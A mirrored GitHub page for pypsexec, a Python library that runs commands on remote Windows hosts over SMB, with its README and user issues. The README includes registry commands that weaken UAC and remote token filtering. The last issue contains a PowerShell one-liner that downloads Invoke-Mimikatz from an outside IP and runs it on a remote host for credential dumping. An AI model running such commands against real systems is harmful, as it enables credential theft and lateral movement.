Giter VIP home page Giter VIP logo

pypsexec's Introduction

Python PsExec Library

Test workflow codecov PyPI version License

This library can run commands on a remote Windows host through Python. This means that it can be run on any host with Python and does not require any binaries to be present or a specific OS. It uses SMB/RPC to executable commands in a similar fashion to the popular PsExec tool. More details on this tool can be read on this blog post.

The executable wrapper that is sent to the service is based on the PAExec library. PAExec is an free, redistributable and open source equivalent to Microsoft's PsExec application. This program is stored as a binary in this package and is used to run the remote service and start the process execution.

I would like to thank the developers of Power Admin for creating this library as it has made this library a lot less complex than what it would have been.

Features

With pypsexec you can run commands of a remote Windows host like you would with PsExec. Current you can use pypsexec to do the following;

  • Run as a specific local or domain user or the user
  • Run as the local SYSTEM account
  • Run as an interactive process
  • Specify the session the interactive process should run on
  • Specify the run level of the user token, highest or limited
  • Set the priority of the process
  • Set a timeout for the remote process
  • Send input through the stdin pipe to the running process
  • Set the processors the process can run on

Further Info

While this info is not necessary for you to use this library it can help people understand what is happening under the hood. This library runs the following steps when running a command;

  • Create an SMB connection to the host
  • Copies across the PAExec binary to the ADMIN$ share of the remote host
  • Binds the Windows Service Manager to the opened IPC$ tree using RPC
  • Creates and starts a Windows service as the SYSTEM account to run the binary copied
  • Connect to the PAExec named pipe the service creates
  • Sends the process details to the PAExec service through the pipe
  • Send a request to the PAExec service to start the process based on the settings sent
  • Connect to the newly spawned process's stdout, stderr, stdin pipe (if not interactive or async)
  • Read the stdout/stderr pipe until the process is complete
  • Get the return code of the new process
  • Stop and remove the PAExec service
  • Remove the PAExec binary from the ADMIN$ share
  • Disconnects from the SMB connection

In the case of a failed process, the PAExec service and binary may not be removed from the host and may need to be done manually. This is only the case for a critical error or the cleanup functions not being called.

By default the data being sent to and from the server is encrypted to stop people listening in on the network from snooping your data. Unfortunately this uses SMB encryption which was added in the SMB 3.x dialects so hosts running Windows 7, Server 2008, or Server 2008 R2 will not work with encryption.

This means that any data sent over the wire on these older versions of Windows is viewable by anyone reading those packets. Any input or output of the process comes through these packets so any secrets sent over the network won't be encrypted. PAExec tries to reduce this risk by doing a simple XOR scramble of the settings set in run_executable so it isn't plaintext but it can be decoded by someone who knows the protocol.

Requirements

To install pypsexec, simply run

pip install pypsexec

This will download the required packages that are required and get your Python environment ready to do.

Out of the box, pypsexec supports authenticating to a Windows host with NTLM authentication but users in a domain environment can take advantage of Kerberos authentication as well for added security. The Kerberos libraries are an optional install which can be installed with;

# for Debian/Ubuntu/etc:
sudo apt-get install gcc python-dev libkrb5-dev
pip install smbprotocol[kerberos]

# for RHEL/CentOS/etc:
sudo yum install gcc python-devel krb5-devel krb5-workstation python-devel
pip install smbprotocol[kerberos]

Remote Host Requirements

The goal of this package to be able to run executables on a vanilla remote Windows host with as little setup as possible. Unfortunately there is still some setup required to get working depending on the OS version and type that is being used. What pypsexec requires on the host is;

  • SMB to be up and running on the Windows port and readable from the Python host
  • The ADMIN$ share to be enabled with read/write access of the user configured
  • The above usually means the configured user is an administrator of the Windows host
  • At least SMB 2 on the host (Server 2008 and newer)
  • The connection user has a full logon token that is not filtered by UAC
  • If connecting to localhost and pywin32 is installed, the script must be run as a user with Administrator privileges

Firewall Setup

By default, Windows blocks the SMB port 445 and it needs to be opened up before pypsexec can connect to the host. To do this run either one of the following commands;

# PowerShell (Windows 8 and Server 2012 or Newer)
Set-NetFirewallRule -Name FPS-SMB-In-TCP -Enabled True

# CMD (All OS's)
netsh advfirewall firewall set rule name="File and Printer Sharing (SMB-In)" dir=in new enable=Yes

This will open up inbound traffic to port 445 which is used by SMB.

User Account Control

In some circumstances, UAC will filter any remote logon token and limit the rights that are available to it. This causes issues with pypsexec and it will fail with an ACCESS_IS_DENIED error message when trying to interact with the remote SCMR API. This restriction is enforced in various different scenarios and to get it working with pypsexec you can either;

  • In a domain environment, use any domain account that is a member of the local Administrators group
  • Use any local account that is a member of the local Administrators group if LocalAccountTokenFilterPolicy is set to 1
    • This means any remote logon token will not be filtered and will have the full rights of that user
    • By default this is not defined and needs to be created
    • This only affects remote tokens, any local tokens/processes will still be limited as per usual
  • Use the builtin local Administrator account (SID S-1-5-21-*-500) that is created when Windows was installed
    • The builtin Administrator account for English installs is typically called Administrator but it can be renamed
    • This account is typically disabled by default on the desktop variants of Windows, e.g. Windows 7, 8.1, 10
    • When AdminApprovalMode is Enabled this will not work. AdminApprovalMode is not Enabled by default
  • Use any local account that is a member of the local Administrators group if EnableLUA is Disabled
    • Unlike the LocalAccountTokenFilterPolicy option, this affects local tokens and processes spawned locally
    • This effectively disables UAC for any Administrator accounts and should be avoided

To set LocalAccountTokenFilterPolicy to allow a full token on a remote logon, run the following PowerShell commands;

$reg_path = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
$reg_prop_name = "LocalAccountTokenFilterPolicy"

$reg_key = Get-Item -Path $reg_path
$reg_prop = $reg_key.GetValue($reg_prop_name)
if ($null -ne $reg_prop) {
    Remove-ItemProperty -Path $reg_path -Name $reg_prop_name
}

New-ItemProperty -Path $reg_path -Name $reg_prop_name -Value 1 -PropertyType DWord

To get the name of the builtin Administrator (SID S-1-5-21-*-500), you can run the following PowerShell commands;

Add-Type -AssemblyName System.DirectoryServices.AccountManagement
$principal_context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
$user_principal = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal($principal_context)
$searcher = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalSearcher($user_principal)
$users = $searcher.FindAll() | Where-Object { $_.Sid -like "*-500" }
$users[0].Name

The last resort would be to disable UAC for any local Administrator account. Once again this should be avoided as there are other options available and this will reduce the security of your Windows host, but to do so you can run the following PowerShell commands;

$reg_path = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
$reg_prop_name = "EnableLUA"

$reg_key = Get-Item -Path $reg_path
$reg_prop = $reg_key.GetValue($reg_prop_name)
if ($null -ne $reg_prop) {
    Remove-ItemProperty -Path $reg_path -Name $reg_prop_name
}

New-ItemProperty -Path $reg_path -Name $reg_prop_name -Value 0 -PropertyType DWord

After changing the EnableLUA setting, the Windows host needs to be rebooted before the policies are enacted.

Examples

Here is an example of how to run a command with this library

from pypsexec.client import Client

# creates an encrypted connection to the host with the username and password
c = Client("hostname", username="username", password="password")

# set encrypt=False for Windows 7, Server 2008
c = Client("hostname", username="username", password="password", encrypt=False)

# if Kerberos is available, this will use the default credentials in the
# credential cache
c = Client("hostname")

# you can also tell it to use a specific Kerberos principal in the cache
# without a password
c = Client("hostname", username="[email protected]")

c.connect()
try:
    c.create_service()

    # After creating the service, you can run multiple exe's without
    # reconnecting

    # run a simple cmd.exe program with arguments
    stdout, stderr, rc = c.run_executable("cmd.exe",
                                          arguments="/c echo Hello World")

    # run whoami.exe as the SYSTEM account
    stdout, stderr, rc = c.run_executable("whoami.exe", use_system_account=True)

    # run command asynchronously (in background), the rc is the PID of the spawned service
    stdout, stderr, rc = c.run_executable("longrunning.exe",
                                          arguments="/s other args",
                                          asynchronous=True)

    # run whoami.exe as a specific user
    stdout, stderr, rc = c.run_executable("whoami",
                                          arguments="/all",
                                          username="local-user",
                                          password="password",
                                          run_elevated=True)
finally:
    c.remove_service()
    c.disconnect()

In the case of a fatal failure, this project may leave behind some the PAExec payload in C:\Windows or the service still installed. As these are uniquely named they can build up over time. They can be manually removed but you can also use pypsexec to cleanup them all up at once. To do this run

from pypsexec.client import Client

c = Client("server", username="username", password="password")
c.connect()
c.cleanup()  # this is where the magic happens
c.disconnect()

The script will delete any files that match C:\Windows\PAExec-* and any services that match PAExec-*. For an individual run, the remove_service() function should still be used.

Client Options

When creating the main pypsexec Client object there are some configuration options that can be set to control the process. These args are;

  • server: This needs to be set and is the host or IP address of the server to connect to
  • username: The username to connect with. Can be None if python-gssapi is installed and a ticket has been granted in the local credential cache
  • password: The password for username. Can be None if python-gssapi is installed and a ticket has been granted for the user specified
  • port: Override the default port of 445 when connecting to the server
  • encrypt: Whether to encrypt the messages or not, default is True. Server 2008, 2008 R2 and Windows 7 hosts do not support SMB Encryption and need this to be set to False

Run Executable Options

When calling run_executable, there are multiple kwargs that can define how the remote process will work. These args are;

  • executable: (string) The path to the executable to be run
  • arguments: (string) Arguments for the executable
  • processors: (list) A list of processor numbers that the process can run on
  • asynchronous: (bool) Doesn't wait until the process is complete before returning. The rc returned by the function is the PID of the async process, default is False
  • load_profile: (bool) Load the user's profile, default is True
  • interactive_session: (int) The session ID to display the interactive process when interactive=True, default is 0
  • interactive: (bool) Runs the process as an interactive process. The stdout and stderr buffers will be None if True, default False
  • run_elevated: (bool) When username is defined, will elevated permissions, default False
  • run_limited: (bool) When username is defined, will run the process under limited permissions, default False
  • username: (string) Used to run the process under a different user than the one that authenticated the SMB session
  • password: (string) The password for username
  • use_system_account: (bool) Run the process as NT AUTHORITY\SYSTEM
  • working_dir: (string) The working directory of the process, default C:\Windows\System32
  • show_ui_on_win_logon: (bool) Displays the UI on the Winlogon secure desktop when use_system_account=True, default False
  • priority: (pypsexec.ProcessPriority) The priority level of the process, default NORMAL_PRIORITY_CLASS
  • remote_log_path: (string) A path on the remote host to log the PAExec service details
  • timeout_seconds: (int) The maximum time the process can run for, default is 0 (no timeout)
  • stdout: (pipe.OutputPipe) A class that implements pipe.OutputPipe that controls how the stdout output is processed and returned, will default to returning the byte string of the stdout. Is ignored when interactive=True and asynchronous=True
  • stderr: (pipe.OutputPipe) A class that implements pipe.OutputPipe that controls how the stderr output is processed and returned, will default to returning the byte string of the stderr. Is ignored when interactive=True and asynchronous=True
  • stdin: (bytes/generator) A byte string or generator that yields a byte string to send over the stdin pipe, does not work with interactive=True and asynchronous=True
  • wow64: (bool) Set to True to run the executable in 32-bit mode on 64-bit systems. This does nothing on 32-bit systems, default False

Logging

This library uses the builtin Python logging library and can be used to find out what is happening in the pypsexec process. Log messages are logged to the pypsexec named logger as well as pypsexec.* where * is each python script in the pypsexec directory.

A way to enable the logging in your scripts through code is to add the following to the top of the script being used;

import logging

logger = logging.getLogger("pypsexec")
logger.setLevel(logging.DEBUG)  # set to logging.INFO if you don't want DEBUG logs
ch = logging.StreamHandler()
ch.setLevel(logging.DEBUG)
formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - '
                              '%(message)s')
ch.setFormatter(formatter)
logger.addHandler(ch)

These logs are generally useful when debugging issues as they give you a more step by step snapshot of what it is doing and what may be going wrong. The debug level will also print out a human readable string of each SMB packet that is sent out from the client but this level can get really verbose.

Testing

To this module, you need to install some pre-requisites first. This can be done by running;

pip install -r requirements-test.txt

# you can also run tox by installing tox
pip install tox

From there to run the basic tests run;

py.test -v --cov pypsexec --cov-report term-missing

# or with tox
tox

There are extra tests that only run when certain environment variables are set. To run these tests set the following variables;

  • PYPSEXEC_SERVER: The hostname or IP to a Windows host
  • PYPSEXEC_USERNAME: The username to use authenticate with
  • PYPSEXEC_PASSWORD: The password for PYPSEXEC_USERNAME

From there, you can just run tox or py.test with these environment variables to run the integration tests.

Future

Some things I would be interested in looking at adding in the future would be

  • Add a Python script that can be called to run adhoc commands like PsExec.exe

pypsexec's People

Contributors

jborean93 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

pypsexec's Issues

remove_service throw exception

Hi, Jordan: thank you very much for the pypsexec package.

when I ran the sample code, it seemed like the connection, execution on the windows side were all working, however remove_service throw an exception:

Traceback (most recent call last):
File "towin_test.py", line 36, in
c.remove_service()
File "/opt/miniconda3/lib/python3.7/site-packages/pypsexec/client.py", line 112, in remove_service
self._service.delete()
File "/opt/miniconda3/lib/python3.7/site-packages/pypsexec/scmr.py", line 326, in delete
self._scmr.delete_service(self._handle)
File "/opt/miniconda3/lib/python3.7/site-packages/pypsexec/scmr.py", line 478, in delete_service
self._parse_error(return_code, "RDeleteService")
File "/opt/miniconda3/lib/python3.7/site-packages/pypsexec/scmr.py", line 695, in _parse_error
raise SCMRException(function_name, return_code, error_string)
pypsexec.exceptions.SCMRException: Exception calling RDeleteService. Code: 1072, Msg: ERROR_SERVICE_MARKED_FOR_DELETE

any insights would be much appreciated!

Security implications of LocalAccountTokenFilterPolicy=1

Hi @jborean93,

I just want to make you aware that setting LocalAccountTokenFilterPolicy=1 creates a huge security risk for the whole network. It enables Pass The Hash attacks (e.g. using mimikatz) in the network. This kind of attack is often used for lateral movement as part of a malware attack (Emotet and the like).
I know that a lot of Microsoft Documentation which uses LocalAccountTokenFilterPolicy as a workaround does not clearly state the risk, that changing this setting comes with. I would suggest to include a hint in your documentation.

The use of Local Account Password Solution (LAPS) which changes local passwords at a configureable interval is known to reduce the risk. Unfortunately LAPS needs GroupPolicy and ActiveDirectory to work.

Very detailed explanation:
https://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/

Regards
Benjamin

documentation: use localhost to connect

It's not obvious to new users of this module that one must use "localhost" to connect -- esp. because Windows does not include python by default.

Perhaps in the "Notes" section:
"Unless the remote Windows host has python installed, you probably need to use 'localhost' in your ad-hoc command or playbook"

maybe even include an example ad-hoc command?

ansible localhost -m community.windows.psexec -a "hostname=windowshost connection_username=Administrator connection_password='thepassword' executable=cmd.exe arguments='/c echo Hello World'"

Issue while running pypsexec

While running pypsexec getting error, it could be error of smbprotocol too as getting BadMechanism error.
Please have a look at traceback,

**Traceback (most recent call last):
File "/home/kali/.local/lib/python3.9/site-packages/smbprotocol/session.py", line 278, in connect
out_token = context.step(in_token)
File "/usr/lib/python3/dist-packages/spnego/negotiate.py", line 119, in step
mech_token_in, mech_list_mic, is_spnego = self._step_spnego_input(in_token=in_token)
File "/usr/lib/python3/dist-packages/spnego/negotiate.py", line 159, in _step_spnego_input
mech_list = self._rebuild_context_list(mech_types=in_token.mech_types)
File "/usr/lib/python3/dist-packages/spnego/negotiate.py", line 374, in _rebuild_context_list
raise BadMechanismError(context_msg="Unable to negotiate common mechanism", base_error=last_err)
spnego.exceptions.BadMechanismError: SpnegoError (1): SpnegoError (16): Operation not supported or available, Context: Retrieving NTLM store without NTLM_USER_FILE set to a filepath, Context: Unable to negotiate common mechanism

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "/opt/pypsexec/pyps.py", line 17, in
c.connect()
File "/home/kali/.local/lib/python3.9/site-packages/pypsexec/client.py", line 105, in connect
self.session.connect()
File "/home/kali/.local/lib/python3.9/site-packages/smbprotocol/session.py", line 280, in connect
raise SMBAuthenticationError("Failed to authenticate with server: %s" % str(err.message))
smbprotocol.exceptions.SMBAuthenticationError: Failed to authenticate with server: SpnegoError (1): SpnegoError (16): Operation not supported or available, Context: Retrieving NTLM store without NTLM_USER_FILE set to a filepath, Context: Unable to negotiate common mechanism
Traceback (most recent call last):
File "/opt/pypsexec/pyps.py", line 21, in
c.create_service()
File "/home/kali/.local/lib/python3.9/site-packages/pypsexec/client.py", line 118, in create_service
self._service.delete()
File "/home/kali/.local/lib/python3.9/site-packages/pypsexec/scmr.py", line 363, in delete
self._open_service()
File "/home/kali/.local/lib/python3.9/site-packages/pypsexec/scmr.py", line 381, in _open_service
self._handle = self._scmr.open_service_w(self._scmr_handle,
AttributeError: 'NoneType' object has no attribute 'open_service_w'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "/opt/pypsexec/pyps.py", line 45, in
c.remove_service()
File "/home/kali/.local/lib/python3.9/site-packages/pypsexec/client.py", line 155, in remove_service
self._service.delete()
File "/home/kali/.local/lib/python3.9/site-packages/pypsexec/scmr.py", line 363, in delete
self._open_service()
File "/home/kali/.local/lib/python3.9/site-packages/pypsexec/scmr.py", line 381, in _open_service
self._handle = self._scmr.open_service_w(self._scmr_handle,
AttributeError: 'NoneType' object has no attribute 'open_service_w'**

Unable able to run python

Hi there,

First of all, love this package!

I am running into an issue where I am trying to run python.exe -c <command_here> within powershell.exe but it keeps failing.

Also then tried to switch to running python directly without any luck and get Access Denied. I've tried elevated session, system accounts and I just feel like I am missing something small.

Any help would be appreciated or if you have done this in the past and could point me in the right direction.

 try:
        c.create_service()
        result = c.run_executable("python.exe", run_elevated=True, username="xxx", password="xxx", arguments="-V")
        print(result)
    finally:
        c.cleanup()  # this is where the magic happens
        c.disconnect()

Thanks again for any help!

Exception: Could not find main GSSAPI shared library.

Running into this exception trying to install pypsexec.

$ pip install pypsexec
Collecting pypsexec
  Using cached pypsexec-0.0.1.dev0-py2.py3-none-any.whl
Collecting smbprotocol==0.0.1.dev0 (from pypsexec)
  Using cached smbprotocol-0.0.1.dev0-py2.py3-none-any.whl
Requirement already satisfied: six in /usr/lib/python2.7/site-packages (from smbprotocol==0.0.1.dev0->pypsexec)
Requirement already satisfied: cryptography>=2.0 in /usr/lib64/python2.7/site-packages (from smbprotocol==0.0.1.dev0->pypsexec)
Requirement already satisfied: ntlm-auth in /usr/lib/python2.7/site-packages (from smbprotocol==0.0.1.dev0->pypsexec)
Requirement already satisfied: pyasn1 in /usr/lib/python2.7/site-packages (from smbprotocol==0.0.1.dev0->pypsexec)
Collecting gssapi>=1.4.1; sys_platform != "win32" (from smbprotocol==0.0.1.dev0->pypsexec)
  Using cached gssapi-1.4.1.tar.gz
    Complete output from command python setup.py egg_info:
    In distributed package, building from C files...
    Traceback (most recent call last):
      File "<string>", line 1, in <module>
      File "/tmp/pip-build-SzARoM/gssapi/setup.py", line 98, in <module>
        raise Exception("Could not find main GSSAPI shared library.  Please "
    Exception: Could not find main GSSAPI shared library.  Please try setting GSSAPI_MAIN_LIB yourself or setting ENABLE_SUPPORT_DETECTION to 'false'

    ----------------------------------------
Command "python setup.py egg_info" failed with error code 1 in /tmp/pip-build-SzARoM/gssapi/

I'm running RHEL 7.4.

[Feature Request/Community Contribution] Interactive Shell and Ansible Connection Plugin Functionality

In the blog introducing pypsexec there were a number of TODOs at the bottom, including:

  • An interactive shell for pypsexec that takes input from stdin and outputs the responses to stdout and stderr
  • Move beyond a simple Ansible module and turn it into a connection plugin so it can be used to run all the existing Windows modules instead of just commands

As far as I can tell, these features have never been added (if they have and I just can't figure out how they work please let me know). There is an interactive parameter, but it doesn't give a shell, only run allow an interactive program to be run in an interactive_session.

I would be willing to contribute the code to add these features, specifically the shell first and the ansible later, if you would be open to upstreaming these changes and if you think they're feasible without any major awful hacks. If you already have unreleased code working on this I would also be interested in seeing that.

Missing IPv6 support

When I use a hostname to connect which resolves to an IPv6 address I get the following error:

  File "test-pypsexec.py", line 24, in <module>
    c.connect()
  File "/var/lib/rundeck/.shiv/pypsexec_9de8d3fe-ca00-48cc-bfb3-b7bdf840e72b/site-packages/pypsexec/client.py", line 60, in connect
    self.connection.connect(timeout=timeout)
  File "/var/lib/rundeck/.shiv/pypsexec_9de8d3fe-ca00-48cc-bfb3-b7bdf840e72b/site-packages/smbprotocol/connection.py", line 835, in connect
    self.transport.connect(timeout=timeout)
  File "/var/lib/rundeck/.shiv/pypsexec_9de8d3fe-ca00-48cc-bfb3-b7bdf840e72b/site-packages/smbprotocol/transport.py", line 61, in connect
    self._sock.connect((self.server, self.port))
socket.gaierror: [Errno -2] Name or service not known

When I use the IPv6 address directly I get the following error:

File "test-pypsexec.py", line 24, in <module>
   c.connect()
 File "/var/lib/rundeck/.shiv/pypsexec_9de8d3fe-ca00-48cc-bfb3-b7bdf840e72b/site-packages/pypsexec/client.py", line 60, in connect
   self.connection.connect(timeout=timeout)
 File "/var/lib/rundeck/.shiv/pypsexec_9de8d3fe-ca00-48cc-bfb3-b7bdf840e72b/site-packages/smbprotocol/connection.py", line 835, in connect
   self.transport.connect(timeout=timeout)
 File "/var/lib/rundeck/.shiv/pypsexec_9de8d3fe-ca00-48cc-bfb3-b7bdf840e72b/site-packages/smbprotocol/transport.py", line 61, in connect
   self._sock.connect((self.server, self.port))
socket.gaierror: [Errno -9] Address family for hostname not supported

Then I tried the UNC Notation for IPv6 addresses like it is required for SMB connections as in UNC paths there is no colon allowed:
2001-9d1-3a1-1ee-0-2034-d41f-5d28.ipv6-literal.net
This also doesn't work: socket.gaierror: [Errno -2] Name or service not known

I am looking for a replacement for psexec to reach a thousand servers via IPv6.

Regards,
Walter

[FEATURE REQUEST] get, put

Can there be a plan to upload and download files from the client/server? Or maybe this already exists and I am missing it? Thanks for the great module!

Urgent issue -pyinstaller

I got this error when I run my output file from pyinstaller
My os is Centos

FileNotFoundError: [Errno 2] No such file or directory: '/tmp/_MEIHRBSvn/pypsexec/paexec.exe'

During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "mass_deployment.py", line 170, in
File "pypsexec/client.py", line 166, in remove_service
File "pypsexec/client.py", line 502, in _delete_file
File "smbprotocol/open.py", line 1219, in _create_response
File "smbprotocol/connection.py", line 617, in wrapped
File "smbprotocol/connection.py", line 931, in receive
smbprotocol.exceptions.SharingViolation: Received unexpected status from the server: A file cannot be opened because the share access flags are incompatible. (3221225539) STATUS_SHARING_VIOLATION: 0xc0000043
[161470] Failed to execute script mass_deployment

interactive mode only work properly with use_system_account=True

Hi,

If I don't add use_system_account=True in run_executable, the window that open on the remote pc will be opened but can't be used to interact properly. It's blured.

from pypsexec.client import Client
c = Client("PC_NAME", username="cib\\user", password="pwd")
c.connect()
try:
    c.create_service()
    stdout, stderr, rc = c.run_executable("cmd.exe",
                                          arguments="/k echo Hello World", interactive=True, interactive_session=2)
except Exception as e:
    print(f'error: {e}')
finally:
    c.remove_service()
    c.disconnect()

image

The only way to make it work is to use use_system_account=True

    stdout, stderr, rc = c.run_executable("cmd.exe",
                                          arguments="/k echo Hello World", interactive=True, interactive_session=2,use_system_account=True)

But if I do so, the task is running with SYSTEM account and it's not what I need. Any advice?

image

Running Pypsexec connect on windows xp host

Hi,

I'm trying to use pypsexec to get a connection to a windows XP machine. When i'm launching the connection, I get no response and it times out.

Here's the return error :
smbprotocol.exceptions.SMBException: Connection timeout of 5 seconds exceeded while waiting for a message id

Code i'm using :
c = Client( server=fqdn, username=row['login'], password=row['password'], encrypt=False) c.connect(timeout=1)

It's working fine on W7 machines, and I only have the issue with Windows XP.
Any idea of where it can come from ?

Thanks in advance !

Race condition with Windows deleting service and next execution

Hey,

I have an app that runs against devices using pypsexec, and on occassion the next execution occurs before Windows has deleted the old service.

Would it be possible to move away from using PID + current host (the same Celery worker processes the message, so the service name ends up being the same)?

Looking through the code we could accept a custom service name when instantiating the Client object, but then that might impact the StdOut/StdErr pipes?

Happy to PR myself, but would appreciate thoughts on the above first. Perhaps moving to a unique UUID instead of PID and host?

Dev Release Issues

Trying to keep a list of issues that were encountered during the dev release. Issues so far

Fixes in dev1 releases

  • Server 2008 has a lower max write size than the total size of the PAExec binary, need to dynamically split this up into chunks if required - fixed with f5e2c28 (dev1 release)

  • Server 2008 R2 causes a signature verification failure as it doesn't think it needs to sign the message, e.g. b"\x00" * 16 != actual sig - fixed with jborean93/smbprotocol@f8b53a3, STATUS_PENDING messages don't have a signature (dev1 release)

Fixes in dev2 releases

  • Because smbprotocol runs a listener under a different thread, sometimes the process does not close properly if an error occurred - smbprotocol 0.0.1.dev2 changed the listener process and this no longer runs as a thread jborean93/smbprotocol#2

  • Different length hostnames or IP's can cause a PDU issue while connecting/creating a service - #4 - fixed with 948d1ed

Fixes in dev3 releases

  • Managing a service was a bit problematic, this change makes thing more pythonic where it runs the command and catch known exceptions instead
  • Added the ability to set a timeout for a connection based on smbprotocol changes
  • Added a retry function when trying to connect to the remote named pipe

Fixes in dev4 release

  • Not sure if it is an issue, but the test_client.TestClientFunctional.test_proc_with_stderr has gotten stuck 1 or 2 times during development. Need to keep an eye for this as I'm not sure if it was another issue that caused it. Caused by running multiple commands in short timeframes on the same service, added 1 sec timeout to the end of the functional client tests to fix this

Fixes still to complete

TBD

urgent - need help when run exe remotely

Dears Anyone,

I need your help ASAP!

I am working on a project and this project has a mass deployment feature so I used a pypsexec as part from my project, during my testing I am facing a critical issue that the pypsexec connect to target machine and run my scripts file (powershell)

i have 3 powershell files , the first powershell file ignore/bypass SSL errors when download from insecure https
the second powershell file for download my agent from server
the thirds and final is to run/execute my exe file (here my issue)

when the last powershell works (it works perfectly) and my application not installed and when I am checking the event windows logs the event said that the application installed successfully !!!

to understand my agent, my agent is exe file after works it will self-extraction so the output is msi file and after my investigation

the exe already extracted and I can see that the msi generated but not works !!

last thing when go to target machine and run the powershell manually everything works perfectly without any error

Attempting to Reconnect to Host Fails with

Connecting to a host, disconnecting from said host, then reconnecting fails with the below error:

Traceback (most recent call last):
  File "/root/windows/reboot_test.py", line 31, in <module>
    c.connect()
  File "/usr/local/lib/python3.10/dist-packages/pypsexec/client.py", line 103, in connect
    self.connection.connect(timeout=timeout)
  File "/usr/local/lib/python3.10/dist-packages/smbprotocol/connection.py", line 799, in connect
    smb_response = self._send_smb2_negotiate(dialect, timeout, enc_algos, sign_algos)
  File "/usr/local/lib/python3.10/dist-packages/smbprotocol/connection.py", line 1497, in _send_smb2_negotiate
    response = self.receive(request, timeout=timeout)
  File "/usr/local/lib/python3.10/dist-packages/smbprotocol/connection.py", line 931, in receive
    self._check_worker_running()  # The worker may have failed while waiting for the response, check again
  File "/usr/local/lib/python3.10/dist-packages/smbprotocol/connection.py", line 1082, in _check_worker_running
    raise SMBConnectionClosed('SMB socket was closed, cannot send or receive any more data')
smbprotocol.exceptions.SMBConnectionClosed: SMB socket was closed, cannot send or receive any more data

Here is a trivial script to reproduce this error:

c = Client("IPHERE", username="Administrator", password="PASSWORDHERE")
c.connect()
try:
    # these three functions succeed
    c.create_service()
    c.remove_service()
    c.disconnect()

    # not necessary for reproduction
    time.sleep(1)
    
    # this fails with the above error
    c.connect()

    # this code is never executed
    c.create_service()

This appears to be a bug since if I reinitialize the client object after the first disconnect call, everything works fine:

c = Client("IPHERE", username="Administrator", password="PASSWORDHERE")
c.connect()
try:
    # these three functions succeed
    c.create_service()
    c.remove_service()
    c.disconnect()

    # not necessary for reproduction
    time.sleep(1)

    # added this line, which makes everything work
    c = Client("IPHERE", username="Administrator", password="PASSWORDHERE")
    
    # this now succeeds
    c.connect()

    c.create_service()

Host OS: Ubuntu 22.04 LTS, installed via pip as specified in the README
Target OS: I've tested this on Windows Server 2008 R2, Windows 7, Windows 10, Windows Server 2016, and Windows 11 and it occurred on all of them.

Based off the error message and the code, it appears that the worker is failing while waiting for a response form the client. I haven't had time to more extensively debug this, but destroying the thread on disconnect and then recreating the thread on connect may work to solve this.

remove_service()

Hello Jordan! Thanks for pypsexec! Can you help me in understanding delete process? I have random error "STATUS_CANNOT_DELETE" the error appears every other time

File "./psexec.py", line 59, in check_group_rdp1
c.remove_service()
File "/home/artem/.local/lib/python3.8/site-packages/pypsexec/client.py", line 120, in remove_service
self._delete_file(smb_tree, self._exe_file)
File "/home/artem/.local/lib/python3.8/site-packages/pypsexec/client.py", line 454, in _delete_file
msgs[0]1
File "/home/artem/.local/lib/python3.8/site-packages/smbprotocol/open.py", line 1219, in _create_response
response = self.connection.receive(request)
File "/home/artem/.local/lib/python3.8/site-packages/smbprotocol/connection.py", line 617, in wrapped
return func(self, *args, **kwargs)
File "/home/artem/.local/lib/python3.8/site-packages/smbprotocol/connection.py", line 929, in receive
raise SMBResponseException(response)
smbprotocol.exceptions.CannotDelete: Received unexpected status from the server: An attempt has been made to remove a file or directory that cannot be deleted. (3221225761) STATUS_CANNOT_DELETE: 0xc0000121

Started executables are not removed

I'm trying to start a remote process, communicate with it, and close it when I don't need further information. The process opens and runs fine, but stays around after closing the PAExec.

My code looks like the following:

client.connect()
client.create_service()
client.run_executable("C:\Windows\System32\cmd.exe",
                     asynchronous=True,
                   timeout_seconds = 10)

print("Started Command Prompt Service")
time.sleep(1)

client.remove_service()
#client.cleanup()
print("Removed Command Prompt Service")

client.disconnect()
print("Disconnected")

Running this multiple times leaves multiple cmd.exe on the remote side. It is not removed using cleanup() either.

connection.receive(request) NEVER TIMES OUT

When calling into connection.py->receive() method, the timeout=# parameter is never sent. Hence, the receive() may hang indefinitely.

scmr.py, _invoke() method, line 673 should either send a hard-coded timeout value, or allow the caller to specify one.
resp = self.tree.session.connection.receive(request, timeout=####)

Any chance you can fix this quickly?

blank windows when using administrator account

Hi,
When executing applications using the following options I see the app frame but the window content is blank:
stdout, stderr, rc = client.run_executable(cmd, interactive=True, asynchronous=True, run_elevated=False, interactive_session=1, use_system_account=False)

When I set use_system_account=True the problem is solved but this raise another problem as the remote app must run under the administrator account

Cannot cache remote powershell output by download

i use powershell download a file
`

from pypsexec.client import Client

# set encrypt=False for Windows 7, Server 2008
c = Client("WIN-2J6512D4S45.test.com", encrypt=False)

c.connect()
c.create_service()
# https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1
stdout, stderr, rc = c.run_executable("powershell.exe", arguments="IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.1.2/Invoke-Mimikatz.ps1');Invoke-Mimikatz")
